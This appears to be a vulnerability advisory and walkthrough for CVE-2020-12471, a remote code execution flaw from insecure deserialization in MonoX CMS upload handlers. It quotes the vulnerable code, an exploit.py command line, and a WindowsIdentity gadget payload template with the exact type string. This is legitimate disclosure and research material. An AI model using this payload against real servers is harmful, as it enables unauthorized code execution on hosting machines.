HTML5Upload and SilverLightUploadHandler - Remote Code Execution via Insecure Deserialization
VulDB-Like Summary
A vulnerability has been found in the MonoX CMS for .NET up to v5.1.40.5152. It has been rated as critical. Affected by this issue are the classes MonoX.MonoSoftware.MonoX.HTML5Upload
and MonoX.MonoSoftware.MonoX.SilverLightUploadHandler
. The combined manipulation of the of the ThumbnailSizeArgs an ThumbnailSizeType parameters leads to Remote Code Execution vulnerability. Using CWE to declare the problem leads to CWE-502. Impacted is Integrity and Availability. An attacker might be able execute arbitrary code within the application context, and use them to achive remote code execution within the underlying hosting server.
The weakness was presented 04/19/2020 by Alessandro Magnosi (deadc0de) (GitHub Repository). The advisory is shared for download at github.com. This vulnerability is handled as CVE-2020-12471. The attack may be launched remotely. A single form of authentication is required for exploitation. Technical details are known and an exploit is publicly available.
Proof-of-Concept
An exploit script is provided in this repository, which may be used to easily verify and exploit the vulnerability.
The script should give the following output, proving the vulnerability.
$ python3 exploit.py -t http://monox.local -u admin -p Passw0rd! -c calc -y path/to/ysoserial.exe
[*] Logging in
[*] Triggering RCE
[+] Success!
When the script finishes, a calculator should spawn in the target server.
Walkthrough
This vulnerability was easily found through a deep code analysis. The affected code block is the following one:
if (base.Request.Form["ThumbnailSizeArgs"] != null && base.Request.Form["ThumbnailSizeType"] != null)
{
try
{
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(base.Request.Form["ThumbnailSizeType"]));
this.ThumbnailSize = (JsonSerializer.Deserialize(Convert.FromBase64String(base.Request.Form["ThumbnailSizeArgs"]), Type.GetType(@string)) as ThumbnailSizeEventArgs);
}
catch (Exception logMessage)
{
this.log.Error(logMessage);
}
}
As observable, the JsonSerializer is deserializaing directly the request parameter ThumbnailSizeArgs
, without any prior validation of its content.
The JsonSerializer
object is an instance of the custom MonoX class MonoSoftware.Core.JsonSerializer
. Studing this class, it was possible to identify the actual implementation of the Deserialize function call:
public static object Deserialize(Stream content, Type type)
{
DataContractJsonSerializer dataContractJsonSerializer = new DataContractJsonSerializer(type);
DataContractJsonSerializer dataContractJsonSerializer2;
if (5 != 0) // Decompiled if
{
dataContractJsonSerializer2 = dataContractJsonSerializer;
}
return dataContractJsonSerializer2.ReadObject(content);
}
From that, it was possible to ascertain that the deserialization routine was using DataContractJsonSerializer
, taking ThumbnailSizeArgs
as the seriliazed payload, and ThumbnailSizeType
as the type to use for deserialization.
DataContractJsonSerializer
is one of the .NET formatters that are basically secure, and usually free from deserialization issues, as it uses a strong object graph inspection, forbidding the deserialization of non-whitelisted objects. However, even DataContractJsonSerializer
can be affected by insecure deserialization if the “Type” parameter passed to Deserialize
is controllable by an external attacker, as this “Type” is automatically added to the whitelist. It may be obvious, but that was the case.
As no automatic payload generator was available in ysoserial.net, crafting the payload for this instance required a bit of manual interaction. After a bit of research, it was clear that WindowsIdentity
was the right POP chain to use, as it supports DataContractSerializer
, and because its payload is a “one level” XML.
<root type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">
<System.Security.ClaimsIdentity.actor i:type="x:string" xmlns="">
{base64-encoded-payload}
</System.Security.ClaimsIdentity.actor>
</WindowsIdentity>
</root>
From the XML above, it was possible to identify all the needed information to craft the final exploit:
Type
System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
Payload
Transformed in JSON format, the payload was reduced to:
{"System.Security.ClaimsIdentity.actor":"[base64-encoded-payload]"}
Upon deserialization, it was then possible to execute arbitrary code on the underlying Windows Hosting Server.
Remediation
Currently, no fixes are available for this issue.